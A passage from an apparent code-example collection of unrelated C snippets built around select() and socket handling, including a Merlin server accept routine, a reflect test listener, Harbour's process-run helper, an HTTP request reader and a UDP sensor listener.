  int *fds0 = (int*)CMSG_DATA(cm);
  int nfds = (cm->cmsg_len - CMSG_LEN(0)) / sizeof(int);

  /* Check malformed packet */
  if (nfds != 3 || recvd != target || buffer[recvd-1] != '\0')
  {
    int i;
    for (i = 0; i < nfds; ++i)
      close(fds0[i]);
    return -1;
  }

  fds[0] = fds0[0];
  fds[1] = fds0[1];
  fds[2] = fds0[2];

  return recvd;
}

value ml_merlin_server_setup(value path, value strfd)
{
  CAMLparam2(path, strfd);
  CAMLlocal2(payload, ret);
  char *endptr = NULL;

  int fd = strtol(String_val(strfd), &endptr, 0);
  if (endptr && *endptr == '\0')
  {
    /* (path, fd) */
    payload = caml_alloc(2, 0);
    Store_field(payload, 0, path);
    Store_field(payload, 1, Val_int(fd));

    /* Some payload */
    ret = caml_alloc(1, 0);
    Store_field(ret, 0, payload);
  }
  else
  {
    fprintf(stderr, "ml_merlin_server_setup(\"%s\",\"%s\"): invalid argument\n",
        String_val(path), String_val(strfd));
    unlink(String_val(path));
    /* None */
    ret = Val_unit;
  }

  CAMLreturn(ret);
}

value ml_merlin_server_accept(value server, value val_timeout)
{
  CAMLparam2(server, val_timeout);
  CAMLlocal4(ret, client, args, context);

  // Compute timeout
  double timeout = Double_val(val_timeout);
  struct timeval tv;
  tv.tv_sec = timeout;
  tv.tv_usec = (timeout - tv.tv_sec) * 1000000;

  // Select on server
  int serverfd = Int_val(Field(server, 1));
  int selectres;
  fd_set readset;
  do {
    FD_ZERO(&readset);
    FD_SET(serverfd, &readset);
    selectres = select(serverfd + 1, &readset, NULL, NULL, &tv);
  } while (selectres == -1 && errno == EINTR);

  int fds[3], clientfd;
  ssize_t len = -1;

  if (selectres > 0)
  {
    NO_EINTR(clientfd, accept(serverfd, NULL, NULL));
    len = recv_buffer(clientfd, fds);
  }

  if (len == -1)
    ret = Val_unit; /* None */
  else {
    context = caml_alloc(4, 0); /* (clientfd, stdin, stdout, stderr) */
    Store_field(context, 0, Val_int(clientfd));
    Store_field(context, 1, Val_int(fds[0]));
    Store_field(context, 2, Val_int(fds[1]));
    Store_field(context, 3, Val_int(fds[2]));

    ssize_t i, j;
    int argc = 0;
    for (i = 4; i < len; ++i)
      if (buffer[i] == '\0')
        argc += 1;

    args = caml_alloc(argc, 0);

    argc = 0;
    for (i = 4, j = 4; i < len; ++i)
    {
      if (buffer[i] == '\0')
      {
        Store_field(args, argc, caml_copy_string((const char *)&buffer[j]));
        j = i + 1;
        argc += 1;
      }
    }

    client = caml_alloc(2, 0); /* (context, args) */
    Store_field(client, 0, context);
    Store_field(client, 1, args);

    ret = caml_alloc(1, 0); /* Some client */
    Store_field(ret, 0, client);
  }

  CAMLreturn(ret);
}
示例#24
0
static int
reflect_6(int domain, int type)
{
	struct sockaddr_in6 sin6;
	fd_set rset;
	int i, rc, s;

	/* Get us a listen socket. */
	s = socket(domain, type, 0);
	if (s == -1)
		err(EX_OSERR, "socket()");

	/*
	 * In case a FIB was given on cmd line, set it.  Let the kernel do the
	 * the bounds check.
	 */
	if (fib != (u_int)-1) {
		rc = setsockopt(s, SOL_SOCKET, SO_SETFIB, &fib, sizeof(fib));
		if (rc == -1)
			err(EX_OSERR, "setsockopt(SO_SETFIB)");
	}

	/* Allow re-use. Otherwise restarting for the next test might error. */
	i = 1;
	rc = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
	if (rc == -1)
		err(EX_OSERR, "setsockopt(SO_REUSEADDR)");
	i = 1;
	rc = setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &i, sizeof(i));
	if (rc == -1)
		err(EX_OSERR, "setsockopt(SO_REUSEPORT)");

	/* Bind address and port or just port. */
	sin6.sin6_len = sizeof(sin6);
	sin6.sin6_family = AF_INET6;
	sin6.sin6_port = htons(port);
	sin6.sin6_flowinfo = 0;
	bzero(&sin6.sin6_addr, sizeof(sin6.sin6_addr));
	if (addr != NULL) {
		rc = inet_pton(PF_INET6, addr, &sin6.sin6_addr);
		if (rc == 0)
			errx(EX_USAGE, "inet_pton()");
		else if (rc == -1)
			err(EX_OSERR, "inet_pton()");
		else if (rc != 1)
			errx(EX_SOFTWARE, "inet_pton()");
	}
	sin6.sin6_scope_id = 0;
	rc = bind(s, (struct sockaddr *)&sin6, sizeof(sin6));
	if (rc == -1)
		err(EX_OSERR, "bind(%d)", s);
	
	if (type == SOCK_STREAM) {
		rc = listen(s, port);
		if (rc == -1)
			err(EX_OSERR, "listen(%d, %u)", s, port);
	}

	/*
	 * We shall never do more than one connection in parallel so can keep
	 * it simple.
	 */
	do {
		FD_ZERO(&rset);
		FD_SET(s, &rset);
		rc = select(s + 1, &rset, NULL, NULL, NULL);
		if (rc == -1 && errno != EINTR)
			err(EX_OSERR, "select()");

		if (rc == 0 || errno == EINTR)	
			continue;

		if (rc != 1)
			errx(EX_OSERR, "select() miscounted 1 to %d", rc);
		if (!FD_ISSET(s, &rset))
			errx(EX_OSERR, "select() did not return our socket");

		if (type == SOCK_STREAM)
			rc = reflect_tcp6_conn(s);
		else if (type == SOCK_DGRAM)
			rc = reflect_udp6_conn(s);
		else
			errx(EX_SOFTWARE, "Unsupported socket type %d", type);
	} while (rc == 0);
	/* Turn end flagging into no error. */
	if (rc == -2)
		rc = 0;

	/* Close listen socket. */
	close(s);

	return (rc);
}
示例#25
0
int hb_fsProcessRun( const char * pszFilename,
                     const char * pStdInBuf, HB_SIZE nStdInLen,
                     char ** pStdOutPtr, HB_SIZE * pulStdOut,
                     char ** pStdErrPtr, HB_SIZE * pulStdErr,
                     HB_BOOL fDetach )
{
   HB_FHANDLE hStdin, hStdout, hStderr, *phStdin, *phStdout, *phStderr;
   char * pOutBuf, *pErrBuf;
   HB_SIZE nOutSize, nErrSize, nOutBuf, nErrBuf;
   int iResult;

   HB_TRACE( HB_TR_DEBUG, ( "hb_fsProcessRun(%s, %p, %" HB_PFS "u, %p, %p, %p, %p, %d)", pStdInBuf, pStdInBuf, nStdInLen, pStdOutPtr, pulStdOut, pStdErrPtr, pulStdErr, fDetach ) );

   nOutBuf = nErrBuf = nOutSize = nErrSize = 0;
   pOutBuf = pErrBuf = NULL;
   hStdin = hStdout = hStderr = FS_ERROR;
   phStdin = pStdInBuf ? &hStdin : NULL;
   phStdout = pStdOutPtr && pulStdOut ? &hStdout : NULL;
   phStderr = pStdErrPtr && pulStdErr ?
              ( pStdOutPtr == pStdErrPtr ? phStdout : &hStderr ) : NULL;

#if defined( HB_OS_DOS ) || defined( HB_OS_OS2 ) || defined( HB_OS_WIN_CE )
{

#if defined( HB_OS_WIN_CE )
#  define _HB_NULLHANDLE()    FS_ERROR
#elif defined( HB_OS_UNIX )
#  define _HB_NULLHANDLE()    open( "/dev/null", O_RDWR )
#else
#  define _HB_NULLHANDLE()    open( "NUL:", O_RDWR )
#endif
   char sTmpIn[ HB_PATH_MAX ];
   char sTmpOut[ HB_PATH_MAX ];
   char sTmpErr[ HB_PATH_MAX ];

   HB_SYMBOL_UNUSED( phStdin );
   HB_SYMBOL_UNUSED( nOutSize );
   HB_SYMBOL_UNUSED( nErrSize );

   sTmpIn[ 0 ] = sTmpOut[ 0 ] = sTmpErr[ 0 ] = '\0';
   if( pStdInBuf )
   {
      hStdin = hb_fsCreateTempEx( sTmpIn, NULL, NULL, NULL, FC_NORMAL );
      if( nStdInLen )
      {
         hb_fsWriteLarge( hStdin, pStdInBuf, nStdInLen );
         hb_fsSeek( hStdin, 0, FS_SET );
      }
   }
   else if( fDetach )
      hStdin = _HB_NULLHANDLE();

   if( pStdOutPtr && pulStdOut )
      hStdout = hb_fsCreateTempEx( sTmpOut, NULL, NULL, NULL, FC_NORMAL );
   else if( fDetach )
      hStdout = _HB_NULLHANDLE();

   if( pStdErrPtr && pulStdErr )
   {
      if( phStdout == phStderr )
         hStderr = hStdout;
      else
         hStderr = hb_fsCreateTempEx( sTmpErr, NULL, NULL, NULL, FC_NORMAL );
   }
   else if( fDetach )
      hStderr = _HB_NULLHANDLE();

   iResult = hb_fsProcessExec( pszFilename, hStdin, hStdout, hStderr );

   if( hStdin != FS_ERROR )
   {
      hb_fsClose( hStdin );
      if( sTmpIn[ 0 ] )
         hb_fsDelete( sTmpIn );
   }
   if( hStdout != FS_ERROR )
   {
      if( pStdOutPtr && pulStdOut )
      {
         nOutBuf = hb_fsSeek( hStdout, 0, FS_END );
         if( nOutBuf )
         {
            pOutBuf = ( char * ) hb_xgrab( nOutBuf + 1 );
            hb_fsSeek( hStdout, 0, FS_SET );
            nOutBuf = hb_fsReadLarge( hStdout, pOutBuf, nOutBuf );
         }
      }
      hb_fsClose( hStdout );
      if( sTmpOut[ 0 ] )
         hb_fsDelete( sTmpOut );
   }
   if( hStderr != FS_ERROR && hStderr != hStdout )
   {
      if( pStdErrPtr && pulStdErr )
      {
         nErrBuf = hb_fsSeek( hStderr, 0, FS_END );
         if( nErrBuf )
         {
            pErrBuf = ( char * ) hb_xgrab( nErrBuf + 1 );
            hb_fsSeek( hStderr, 0, FS_SET );
            nErrBuf = hb_fsReadLarge( hStderr, pErrBuf, nErrBuf );
         }
      }
      hb_fsClose( hStderr );
      if( sTmpErr[ 0 ] )
         hb_fsDelete( sTmpErr );
   }
}

#else
{
   HB_FHANDLE hProcess;

   hb_vmUnlock();

   iResult = -1;
   hProcess = hb_fsProcessOpen( pszFilename, phStdin, phStdout, phStderr,
                                fDetach, NULL );
   if( hProcess != FS_ERROR )
   {
#if defined( HB_OS_WIN )

      DWORD dwResult, dwCount;
      HANDLE lpHandles[ 4 ];
      HB_SIZE ul;

      if( nStdInLen == 0 && hStdin != FS_ERROR )
      {
         hb_fsClose( hStdin );
         hStdin = FS_ERROR;
      }

      for( ;; )
      {
         dwCount = 0;
         if( hStdout != FS_ERROR )
            lpHandles[ dwCount++ ] = ( HANDLE ) hb_fsGetOsHandle( hStdout );
         if( hStderr != FS_ERROR )
            lpHandles[ dwCount++ ] = ( HANDLE ) hb_fsGetOsHandle( hStderr );
         if( nStdInLen && hStdin != FS_ERROR )
            lpHandles[ dwCount++ ] = ( HANDLE ) hb_fsGetOsHandle( hStdin );

         lpHandles[ dwCount++ ] = ( HANDLE ) hb_fsGetOsHandle( hProcess );

         dwResult = WaitForMultipleObjects( dwCount, lpHandles, FALSE, INFINITE );

         if( /* dwResult >= WAIT_OBJECT_0 && */ dwResult < WAIT_OBJECT_0 + dwCount )
         {
            if( nStdInLen && hStdin != FS_ERROR &&
                lpHandles[ dwResult ] == ( HANDLE ) hb_fsGetOsHandle( hStdin ) )
            {
               ul = hb_fsWriteLarge( hStdin, pStdInBuf, nStdInLen );
               pStdInBuf += ul;
               nStdInLen -= ul;
               if( nStdInLen == 0 )
               {
                  hb_fsClose( hStdin );
                  hStdin = FS_ERROR;
               }
            }
            else if( hStdout != FS_ERROR &&
                     lpHandles[ dwResult ] == ( HANDLE ) hb_fsGetOsHandle( hStdout ) )
            {
               if( nOutBuf == nOutSize )
               {
                  nOutSize += HB_STD_BUFFER_SIZE;
                  pOutBuf = ( char * ) hb_xrealloc( pOutBuf, nOutSize + 1 );
               }
               ul = hb_fsReadLarge( hStdout, pOutBuf + nOutBuf, nOutSize - nOutBuf );
               if( ul == 0 )
               {
                  hb_fsClose( hStdout );
                  hStdout = FS_ERROR;
               }
               else
                  nOutBuf += ul;
            }
            else if( hStderr != FS_ERROR &&
                     lpHandles[ dwResult ] == ( HANDLE ) hb_fsGetOsHandle( hStderr ) )
            {
               if( nErrBuf == nErrSize )
               {
                  nErrSize += HB_STD_BUFFER_SIZE;
                  pErrBuf = ( char * ) hb_xrealloc( pErrBuf, nErrSize + 1 );
               }
               ul = hb_fsReadLarge( hStderr, pErrBuf + nErrBuf, nErrSize - nErrBuf );
               if( ul == 0 )
               {
                  hb_fsClose( hStderr );
                  hStderr = FS_ERROR;
               }
               else
                  nErrBuf += ul;
            }
            else if( lpHandles[ dwResult ] == ( HANDLE ) hb_fsGetOsHandle( hProcess ) )
            {
               if( GetExitCodeProcess( ( HANDLE ) hb_fsGetOsHandle( hProcess ), &dwResult ) )
                  iResult = ( int ) dwResult;
               else
                  iResult = -2;
               break;
            }
         }
         else
            break;
      }

      if( hStdin != FS_ERROR )
         hb_fsClose( hStdin );
      if( hStdout != FS_ERROR )
         hb_fsClose( hStdout );
      if( hStderr != FS_ERROR )
         hb_fsClose( hStderr );

      CloseHandle( ( HANDLE ) hb_fsGetOsHandle( hProcess ) );

#elif defined( HB_OS_UNIX ) && ! defined( HB_OS_SYMBIAN )

      fd_set rfds, wfds, *prfds, *pwfds;
      HB_FHANDLE fdMax;
      HB_SIZE ul;
      int n;

      if( nStdInLen == 0 && hStdin != FS_ERROR )
      {
         hb_fsClose( hStdin );
         hStdin = FS_ERROR;
      }

      if( hStdin != FS_ERROR )
         hb_fsPipeUnblock( hStdin );
      if( hStdout != FS_ERROR )
         hb_fsPipeUnblock( hStdout );
      if( hStderr != FS_ERROR )
         hb_fsPipeUnblock( hStderr );

      for( ;; )
      {
         fdMax = 0;
         prfds = pwfds = NULL;
         if( hStdout != FS_ERROR || hStderr != FS_ERROR )
         {
            FD_ZERO( &rfds );
            if( hStdout != FS_ERROR )
            {
               FD_SET( hStdout, &rfds );
               if( hStdout > fdMax )
                  fdMax = hStdout;
            }
            if( hStderr != FS_ERROR )
            {
               FD_SET( hStderr, &rfds );
               if( hStderr > fdMax )
                  fdMax = hStderr;
            }
            prfds = &rfds;
         }
         if( nStdInLen && hStdin != FS_ERROR )
         {
            FD_ZERO( &wfds );
            FD_SET( hStdin, &wfds );
            if( hStdin > fdMax )
               fdMax = hStdin;
            pwfds = &wfds;
         }
         if( prfds == NULL && pwfds == NULL )
            break;

         n = select( fdMax + 1, prfds, pwfds, NULL, NULL );
         if( n > 0 )
         {
            if( hStdout != FS_ERROR && FD_ISSET( hStdout, &rfds ) )
            {
               if( nOutBuf == nOutSize )
               {
                  nOutSize += HB_STD_BUFFER_SIZE;
                  pOutBuf = ( char * ) hb_xrealloc( pOutBuf, nOutSize + 1 );
               }
               ul = hb_fsReadLarge( hStdout, pOutBuf + nOutBuf, nOutSize - nOutBuf );
               if( ul == 0 )
               {
                  /* zero bytes read after positive Select()
                   * - writing process closed the pipe
                   */
                  hb_fsClose( hStdout );
                  hStdout = FS_ERROR;
               }
               else
                  nOutBuf += ul;
            }

            if( hStderr != FS_ERROR && FD_ISSET( hStderr, &rfds ) )
            {
               if( nErrBuf == nErrSize )
               {
                  nErrSize += HB_STD_BUFFER_SIZE;
                  pErrBuf = ( char * ) hb_xrealloc( pErrBuf, nErrSize + 1 );
               }
               ul = hb_fsReadLarge( hStderr, pErrBuf + nErrBuf, nErrSize - nErrBuf );
               if( ul == 0 )
               {
                  /* zero bytes read after positive Select()
                   * - writing process closed the pipe
                   */
                  hb_fsClose( hStderr );
                  hStderr = FS_ERROR;
               }
               else
                  nErrBuf += ul;
            }

            if( nStdInLen && hStdin != FS_ERROR && FD_ISSET( hStdin, &wfds ) )
            {
               ul = hb_fsWriteLarge( hStdin, pStdInBuf, nStdInLen );
               pStdInBuf += ul;
               nStdInLen -= ul;
               if( nStdInLen == 0 )
               {
                  hb_fsClose( hStdin );
                  hStdin = FS_ERROR;
               }
            }
         }
         else
            break;
      }

      if( hStdin != FS_ERROR )
         hb_fsClose( hStdin );
      if( hStdout != FS_ERROR )
         hb_fsClose( hStdout );
      if( hStderr != FS_ERROR )
         hb_fsClose( hStderr );

      iResult = hb_fsProcessValue( hProcess, HB_TRUE );

#else

      int iTODO;

      HB_SYMBOL_UNUSED( nStdInLen );

#endif
      hb_vmLock();
   }
}
#endif

   if( phStdout )
   {
      *pStdOutPtr = pOutBuf;
      *pulStdOut = nOutBuf;
   }
   if( phStderr && phStdout != phStderr )
   {
      *pStdErrPtr = pErrBuf;
      *pulStdErr = nErrBuf;
   }

   return iResult;
}
示例#26
0
文件: http.c 项目: AllardJ/Tomato
guint http_request_read (http_request *h) {
    gchar *buf = g_new( gchar, BUFSIZ + 1 );
/*
    GIOStatus r;
    GError *err = NULL;
*/
    GIOError r;
    guint s, times, n = 0, t = 0;
    gchar *c_len_hdr = NULL;
    guint hdr_len = 0, c_len = 0, tot_req_size = 0;
    struct timeval tv;
    fd_set fdset;

    FD_ZERO(&fdset);
    FD_SET(g_io_channel_unix_get_fd(h->sock), &fdset);
    tv.tv_sec = 0;
    buf[0] = '\0';
    buf[BUFSIZ] = '\0';

    //    for (t = 0, n = BUF_SIZ; n == BUF_SIZ &&
    //      h->buffer->len < MAX_REQUEST_SIZE; t += n ) {
    // BPsmythe: The above (original) loop will never execute
    // more than once unless the size of the buffer read in (n)
    // is equal to the constant BUF_SIZE.  What is desired is
    // to keep looping until there is nothing left to read.
    // The for was changed to look for the end of the headers.
    // FIXME: We should use the newer g_io_channel_read_char
    //
    // TJaqua: Added buffer overflow checking, content read loop from 0.93pre2, and fixed up the timeouts, logging and error exits

    if (CONFd("Verbosity") >= 7) g_message("http_request_read: READING request from peer %s (on %s, fd: %d)", h->peer_ip, h->sock_ip, g_io_channel_unix_get_fd(h->sock));
    if (CONFd("Verbosity") >= 9) g_message("http_request_read: entering HEADER read loop (BUFSIZE=%u)", BUFSIZ);
    for (times=MAX_REQ_TIMEOUTS; !hdr_len && (times > 0); t += n ) {
	n=0;
/*
	r = g_io_channel_read_chars( h->sock, buf, BUFSIZ, &n, &err );
	if (r == G_IO_STATUS_ERROR || err != NULL) {
	    g_message( "http_request_read: Socket IO ERROR: %s, exiting!", err->message );
	    g_error_free(err);
*/
	r = g_io_channel_read( h->sock, buf, BUFSIZ, &n);
	if (r != G_IO_ERROR_NONE) {
	    g_warning( "http_request_read: Socket IO ERROR: %m, exiting!" );
	    g_free(buf);
	    return 0;
	}

	if (CONFd("Verbosity") >= 9) g_message("http_request_read: HEADER loop read %u bytes", n);
	buf[n] = '\0';
	if (n && CONFd("Verbosity") >= 11) syslog_message("RAW_HDR_BUF: ", buf, n);

	if(strlen(buf) < n-1) g_warning("http_request_read: Trailing data past string in buffer was DICARDED!");
	if (h->buffer->len == MAX_REQUEST_SIZE)
	    g_warning("http_request_read: header buffer full (%u bytes, %u bytes discarded!)", MAX_REQUEST_SIZE, n);
	else if (n <= (MAX_REQUEST_SIZE - h->buffer->len)) {
	    if(CONFd("Verbosity") >= 11) g_message("http_request_read: APPENDING buffer to HEADER.");
	    if(n) g_string_append(h->buffer, buf);
	    else if (CONFd("Verbosity") >= 6) g_message("http_request_read: No data in buffer.");
	    //if(CONFd("Verbosity") >= 11) g_message("http_request_read: Partial HEADER (%u bytes) is: %s", h->buffer->len, h->buffer->str);
	}
	else {
	    if(CONFd("Verbosity") >= 6) g_warning("http_request_read: header buffer full (%u bytes, %u bytes discarded!)", 
                                                  MAX_REQUEST_SIZE, n - (MAX_REQUEST_SIZE - h->buffer->len));
	    buf[MAX_REQUEST_SIZE - h->buffer->len] = '\0';
	    g_string_append(h->buffer, buf);
	}
        times--;

        // BPsmythe: Check for the end of the headers.
	if (hdr_len = http_get_hdr_len(h->buffer->str)) {
	        if (CONFd("Verbosity") >= 6) g_message("http_request_read: HEADER END found, length: %u", hdr_len );
        }
	else {
	    if(!times) { 
                if(CONFd("Verbosity") >= 6) {
                    g_message("http_request_read: ERROR: HEADER END not found after %d tries, exiting!", MAX_REQ_TIMEOUTS);
	            if (!t) g_message("http_request_read: Empty HTTP-request header.");
	            else g_message("http_request_read: Invalid HTTP-request header, %u bytes read.", t+n);
	        }
		//Should I send a FIN packet to shutdown the socket?
                g_free(buf);
	        return 0;
            }
	    if(CONFd("Verbosity") >= 11) g_message("http_request_read: Waiting for next I/O on socket, (%d more tries).", times);
            tv.tv_usec = REQ_TIMEOUT;
	    while(times && !(s = select (g_io_channel_unix_get_fd(h->sock)+1, &fdset, NULL, NULL, &tv))) {
                times--;
	        if (CONFd("Verbosity") >= 7)  g_message("http_request_read: HEADER select timeout, %d more tries", times);
                tv.tv_usec = REQ_TIMEOUT;
            }
	    if(s<0) {
	        g_warning("http_request_read: ERROR in select, exiting!");
		g_free(buf);
		return 0;
	    }
	    else if(!times) { 
                if(CONFd("Verbosity") >= 6) {
                    g_message("http_request_read: ERROR: Too many TIMEOUTS waiting for HEADER end!");
	            if (!t) g_message("http_request_read: Empty HTTP-request header.");
	            else g_message("http_request_read: Invalid HTTP-request header, %u bytes read.", t+n);
	        }
		//Should I send a FIN packet to shutdown the socket?
                g_free(buf);
	        return 0;
            }
            else if(CONFd("Verbosity") >= 11) g_message("http_request_read: Recieved I/O on socket.");
	}
    }

    if (CONFd("Verbosity") >= 10) syslog_message("RAW_HEADER: ", h->buffer->str, h->buffer->len);
    
    // Read the content length from the header
    http_parse_header( h, h->buffer->str );

    if( (HEADER("Content-length")) && (c_len = atoi(HEADER("Content-length"))) ) {
        if (CONFd("Verbosity") >= 9) g_message("http_request_read: entering CONTENT read loop to read %u bytes.", c_len);
        tot_req_size = hdr_len + c_len;
        for (times=MAX_REQ_TIMEOUTS; (t < tot_req_size) && (times > 0); t += n ) {
	    if (CONFd("Verbosity") >= 9) g_message("http_request_read: %u bytes of %u total.", t, tot_req_size );
	    n=0;
/*
	    r = g_io_channel_read_chars( h->sock, buf, BUFSIZ, &n, &err );
	    if (r == G_IO_STATUS_ERROR || err != NULL) {
	        g_message( "http_request_read: Socket-IO ERROR: %s, exiting!", err->message );
	        g_error_free(err);
*/
	    r = g_io_channel_read( h->sock, buf, BUFSIZ, &n);
	    if (r != G_IO_ERROR_NONE) {
	        g_warning( "http_request_read: Socket-IO ERROR: %m, exiting!" );
	        g_free(buf);
	        return 0;
	    }

	    if (CONFd("Verbosity") >= 9) g_message("http_request_read: CONTENT loop read %d bytes", n );
	    buf[n] = '\0';
	    if (n && CONFd("Verbosity") >= 11) syslog_message("RAW_CON_BUF: ", buf, n); 

	    if (h->buffer->len == MAX_REQUEST_SIZE) {
	        if(CONFd("Verbosity") >= 6) g_warning("http_request_read: Maximum request length EXCEEDED (%u bytes discarded! Continuing to read out content.)", n);
            }
	    else if (h->buffer->len == tot_req_size) {
	        if(CONFd("Verbosity") >= 6) g_warning("http_request_read: Content length EXCEEDED (%u bytes discarded! Shouldn't happen!)", n);
            }
            else if (h->buffer->len + n >= MAX_REQUEST_SIZE) {
	        if(CONFd("Verbosity") >= 6) g_warning("http_request_read: Max buffer length EXCEEDED (%u bytes discarded! Continuing to read out content.)", 
                                                       n - (MAX_REQUEST_SIZE - h->buffer->len));
                buf[MAX_REQUEST_SIZE - h->buffer->len] = '\0';
	        g_string_append(h->buffer, buf);
            }
	    else if (n <= (tot_req_size - h->buffer->len)) {
	        if(CONFd("Verbosity") >= 11) g_message("http_request_read: APPENDING buffer to CONTENT.");
	        if(n) g_string_append(h->buffer, buf);
	        else if (CONFd("Verbosity") >= 6) g_message("http_request_read: No data in buffer.");
	    }
	    else {
	        if(CONFd("Verbosity") >= 6) g_warning("http_request_read: Content length EXCEEDED (%u bytes added, %u bytes discarded!)", 
                                                       tot_req_size - h->buffer->len, n - (tot_req_size - h->buffer->len));
	        buf[tot_req_size - h->buffer->len] = '\0';
	        g_string_append(h->buffer, buf);
	    }
            times--;

            // TJaqua: Check for the end of the content.
	    if ((t+n) >= tot_req_size) {
                if (CONFd("Verbosity") >= 6) g_message("http_request_read: CONTENT end reached, length: %u", tot_req_size);
            }
	    else {
                if (!times) {
                    if(CONFd("Verbosity") >= 6) {
                        g_message("http_request_read: ERROR: CONTENT END not found after %d tries, exiting!", MAX_REQ_TIMEOUTS);
	                if (t == hdr_len) g_message("http_request_read: Empty CONTENT, socket may have stalled.");
	                else g_message("http_request_read: CONTENT unfinished, %u bytes read.", t+n);
	            }
                    //Should I send a FIN packet to shutdown the socket?
                    g_free(buf);
                    //We still got the header, though, so return it.
                    g_string_truncate(h->buffer, hdr_len);
	            return hdr_len;
                }
	        if(CONFd("Verbosity") >= 11) g_message("http_request_read: Waiting for next I/O on socket.");
                tv.tv_usec = REQ_TIMEOUT;
	        while (times && !(s = select (g_io_channel_unix_get_fd(h->sock)+1, &fdset, NULL, NULL, &tv))) {
                    times--;
	            if (CONFd("Verbosity") >= 7)  g_message("http_request_read: CONTENT select timeout, %d more tries", times);
                    tv.tv_usec = REQ_TIMEOUT;
                }
	        if(s<0) {
	            g_warning("http_request_read: ERROR in select, exiting!");
		    g_free(buf);
                    //We still got the header, though, so return it.
                    g_string_truncate(h->buffer, hdr_len);
	            return hdr_len;
	        }
                else if (!times) {
                    if(CONFd("Verbosity") >= 6) {
                        g_message("http_request_read: ERROR: Too many TIMEOUTS waiting for CONTENT end!");
	                if (t == hdr_len) g_message("http_request_read: Empty CONTENT, socket may have stalled.");
	                else g_message("http_request_read: Invalid HTTP-request header, %u bytes read.", t+n);
	            }
                    //Should I send a FIN packet to shutdown the socket?
                    g_free(buf);
                    //We still got the header, though, so return it.
                    g_string_truncate(h->buffer, hdr_len);
	            return hdr_len;
                }
                else if (CONFd("Verbosity") >= 11) g_message("http_request_read: Received I/O on socket.");
	    }
        }
        if (CONFd("Verbosity") >= 10) syslog_message("RAW_CONTENT: ", &(h->buffer->str[hdr_len]), h->buffer->len - hdr_len); 
        if (t<tot_req_size) 
	    g_message("http_request_read: CONTENT unfinished - should not happen!");
    }

    if (CONFd("Verbosity") >= 6) g_message("http_request_read: FINISHED read (%u bytes total), exiting.", t);
    g_free(buf);
    return t;
}
示例#27
0
static void mplex() {
	struct timeval timeout = {
		.tv_sec = 1,
		.tv_usec = 0,
	};
	int i;
	int maxfd = 0;
	fd_set rok, wok, xok;
	FD_ZERO(&rok);
	FD_ZERO(&wok);
	FD_ZERO(&xok);
	if (io_stop == 1) {
		io_stop = 2;
		q_puts(&sockets->net[0].sendq, "X\n");
	}
	for(i=0; i < sockets->count; i++) {
		struct sockifo* ifo = &sockets->net[i];
		if (ifo->death_time && ifo->death_time < now) {
			esock(ifo, "Ping Timeout");
		}
		if (ifo->fd < 0) {
			if (ifo->state.mplex_dropped) {
				delnet_real(ifo);
				i--;
			}
			continue;
		}
		if (ifo->fd > maxfd)
			maxfd = ifo->fd;

		int need_read, need_write;
		switch (ifo->state.poll) {
		case POLL_NORMAL:
			writable(ifo);
			need_read = 1;
			need_write = (ifo->sendq.start != ifo->sendq.end);
			break;
		case POLL_FORCE_ROK:
			writable(ifo);
			need_read = 1;
			need_write = 0;
			break;
		case POLL_FORCE_WOK:
			need_read = 0;
			need_write = 1;
			break;
		case POLL_HANG:
		default:
			need_read = 0;
			need_write = 0;
		}
		if (ifo->fd < 0)
			continue;
		if (need_read)
			FD_SET(ifo->fd, &rok);
		if (need_write)
			FD_SET(ifo->fd, &wok);
		FD_SET(ifo->fd, &xok);
		if (io_stop == 2)
			break;
	}
	int ready = select(maxfd + 1, &rok, &wok, &xok, &timeout);
	time_t new_ts = time(NULL);
	if (now != new_ts && io_stop != 2) {
		now = new_ts;
		qprintf(&sockets->net[0].sendq, "T %d\n", now);
	}
	if (ready <= 0)
		return;
	for(i=0; i < sockets->count; i++) {
		struct sockifo* ifo = &sockets->net[i];
		if (ifo->fd < 0)
			continue;
		if (FD_ISSET(ifo->fd, &xok)) {
			esock(ifo, "Exception on socket");
			continue;
		}
		if (FD_ISSET(ifo->fd, &wok)) {
			writable(ifo);
			if (ifo->fd < 0)
				continue;
		}
		if (FD_ISSET(ifo->fd, &rok)) {
			readable(ifo);
		}
		if (io_stop == 2)
			return;
	}
	if (ready > 1 || !FD_ISSET(sockets->net[0].fd, &rok))
		q_puts(&sockets->net[0].sendq, "Q\n");
}

static void sig2child(int sig) {
	kill(worker_pid, sig);
}
示例#28
0
static void *listenForMessages( void *ptr )
{  
    struct sockaddr_in si_me;
    struct sockaddr_in si_other;
    socklen_t slen = sizeof(si_other);
    ssize_t readBytes = 0;
    char buf[BUFLEN+1]; //add space fer terminating \0
    char msgId[MSGIDLEN+1]; //add space fer terminating \0
    int port = PORT;

    DLT_REGISTER_APP("SNSS", "SENSOSRS-SERVICE");
    DLT_REGISTER_CONTEXT(gContext,"SSRV", "Global Context");

    LOG_INFO(gContext,"SensorsService listening on port %d...",port);

    if((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
    {
        LOG_ERROR_MSG(gContext,"socket() failed!");
        exit(EXIT_FAILURE);
    }

    memset((char *) &si_me, 0, sizeof(si_me));
    si_me.sin_family = AF_INET;

    si_me.sin_port = htons(port);
    si_me.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(s, (struct sockaddr *)&si_me, sizeof(si_me)) == -1)
    {
        LOG_ERROR_MSG(gContext,"socket() failed!");
        exit(EXIT_FAILURE);
    }

    while(isRunning == true)
    {
        //use select to introduce a timeout - alloy shutdown even when no data are received
        fd_set readfs;    /* file descriptor set */
        int    maxfd;     /* maximum file desciptor used */        
        int res;
        struct timeval Timeout;
        /* set timeout value within input loop */
        Timeout.tv_usec = 0;  /* milliseconds */
        Timeout.tv_sec  = 1;  /* seconds */
        FD_SET(s, &readfs);
        maxfd = s+1;
        /* block until input becomes available */
        res = select(maxfd, &readfs, NULL, NULL, &Timeout);

        if (res > 0)
        {
            
            readBytes = recvfrom(s, buf, BUFLEN, 0, (struct sockaddr *)&si_other, &slen);

            if(readBytes < 0)
            {
                LOG_ERROR_MSG(gContext,"recvfrom() failed!");
                exit(EXIT_FAILURE);
            }
            
            buf[readBytes] = '\0';

            LOG_DEBUG_MSG(gContext,"------------------------------------------------");
    
            LOG_DEBUG(gContext,"Received Packet from %s:%d", 
                      inet_ntoa(si_other.sin_addr), ntohs(si_other.sin_port));

            sscanf(buf, "%*[^'$']$%" STRINGIFY(MSGIDLEN) "[^',']", msgId);
    
            LOG_DEBUG(gContext,"MsgID:%s", msgId);
